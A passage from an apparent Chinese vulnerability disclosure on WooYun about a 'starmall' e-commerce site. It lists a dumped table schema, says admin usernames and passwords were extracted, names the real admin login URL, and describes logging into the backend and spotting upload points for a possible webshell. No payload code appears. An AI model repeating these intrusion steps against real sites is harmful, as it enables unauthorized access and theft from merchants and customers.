| starmall_goods_attr_index     |
| starmall_goods_class          |
| starmall_goods_class_staple   |
| starmall_goods_class_tag      |
| starmall_goods_content        |
| starmall_goods_group          |
| starmall_goods_spec           |
| starmall_goods_spec_index     |
| starmall_groupbuy_area        |
| starmall_groupbuy_class       |
| starmall_groupbuy_price_range |
| starmall_groupbuy_template    |
| starmall_inform               |
| starmall_inform_subject       |
| starmall_inform_subject_type  |
| starmall_link                 |
| starmall_lock                 |
| starmall_mail_msg_temlates    |
| starmall_map                  |
| starmall_member               |
| starmall_message              |
| starmall_micro_adv            |
| starmall_micro_comment        |
| starmall_micro_goods          |
| starmall_micro_goods_class    |
| starmall_micro_goods_relation |
| starmall_micro_like           |
| starmall_micro_member_info    |
| starmall_micro_personal       |
| starmall_micro_personal_class |
| starmall_micro_store          |
| starmall_navigation           |
| starmall_order                |
| starmall_order_address        |
| starmall_order_goods          |
| starmall_order_log            |
| starmall_p_bundling           |
| starmall_p_bundling_goods     |
| starmall_p_bundling_quota     |
| starmall_p_mansong            |
| starmall_p_mansong_apply      |
| starmall_p_mansong_quota      |
| starmall_p_mansong_rule       |
| starmall_p_xianshi            |
| starmall_p_xianshi_apply      |
| starmall_p_xianshi_goods      |
| starmall_p_xianshi_quota      |
| starmall_payment              |
| starmall_points_cart          |
| starmall_points_goods         |
| starmall_points_log           |
| starmall_points_order         |
| starmall_points_orderaddress  |
| starmall_points_ordergoods    |
| starmall_predeposit_cash      |
| starmall_predeposit_log       |
| starmall_predeposit_recharge  |
| starmall_rec_position         |
| starmall_recommend            |
| starmall_recommend_goods      |
| starmall_refund_log           |
| starmall_return               |
| starmall_return_goods         |
| starmall_salenum              |
| starmall_seo                  |
| starmall_setting              |
| starmall_sns_albumclass       |
| starmall_sns_albumpic         |
| starmall_sns_binding          |
| starmall_sns_comment          |
| starmall_sns_friend           |
| starmall_sns_goods            |
| starmall_sns_membertag        |
| starmall_sns_mtagmember       |
| starmall_sns_s_autosetting    |
| starmall_sns_s_comment        |
| starmall_sns_s_tracelog       |
| starmall_sns_setting          |
| starmall_sns_sharegoods       |
| starmall_sns_sharestore       |
| starmall_sns_tracelog         |
| starmall_sns_visitor          |
| starmall_spec                 |
| starmall_spec_value           |
| starmall_store                |
| starmall_store_class          |
| starmall_store_class_goods    |
| starmall_store_extend         |
| starmall_store_goods_class    |
| starmall_store_grade          |
| starmall_store_gradelog       |
| starmall_store_navigation     |
| starmall_store_partner        |
| starmall_store_watermark      |
| starmall_transport            |
| starmall_transport_extend     |
| starmall_type                 |
| starmall_type_brand           |
| starmall_type_spec            |
| starmall_upload               |
| starmall_voucher              |
| starmall_voucher_apply        |
| starmall_voucher_price        |
| starmall_voucher_quota        |
| starmall_voucher_template     |
| starmall_web                  |
| starmall_web_code             |
| starmall_ztc_glodlog          |
| starmall_ztc_goods            |
+-------------------------------+


用户名密码依据跑出。
9.在看看这两个表对应的后台地址，搜索下试试，http://edingcn.com/admin/index.php?act=login&op=login找到一个家工厂的登录页面。应该还有一个，不去找了，先登录第一个后台，看看功能。
10.登录后台：

QQ截图20140306094352.png


看到后台管理，确实是管理开店的：

3.png

这都是白花花的钱啊。
webshell就不拿了，看了一番有几个上传的地方，还是先报告吧。

修复方案：

过滤字符吧。

版权声明：转载请注明来源 小r00to1@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝